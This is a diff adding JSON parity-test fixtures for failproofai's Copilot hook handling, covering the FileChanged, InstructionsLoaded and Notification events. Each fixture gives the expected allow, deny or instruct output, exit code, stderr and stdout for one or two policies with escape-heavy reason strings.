"{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..778f2089 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/FileChanged/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "FileChanged", + "input": { + "event_type": "FileChanged", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "FileChanged", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "FileChanged", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"FileChanged\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..6059240c --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e1c1aea4 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..4dcdd768 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..992118ac --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..22c8a4c6 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..b9b12221 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..00b8be1e --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..eb5b762d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "allow-with-reason", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..71fe653d --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..847475bc --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-present__one-policy.json new file mode 100644 index 00000000..b0299356 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-present__two-policies.json new file mode 100644 index 00000000..09ae3739 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "deny", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..6f14b5c3 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..56426a23 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4a4b21ea --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "copilot", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..1e3440ac --- /dev/null +++ b/__tests__/parity/fixtures/copilot/InstructionsLoaded/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "copilot", + "decision_kind": "instruct", + "event": "InstructionsLoaded", + "input": { + "event_type": "InstructionsLoaded", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "InstructionsLoaded", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "InstructionsLoaded", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"InstructionsLoaded\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..68f4fa5b --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ca4ee340 --- /dev/null +++ b/__tests__/parity/fixtures/copilot/Notification/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "copilot", + "decision_kind": "allow-silent", + "event": "Notification", + "input": { + "event_type": "Notification", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Notification", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "copilot", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Notification", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + 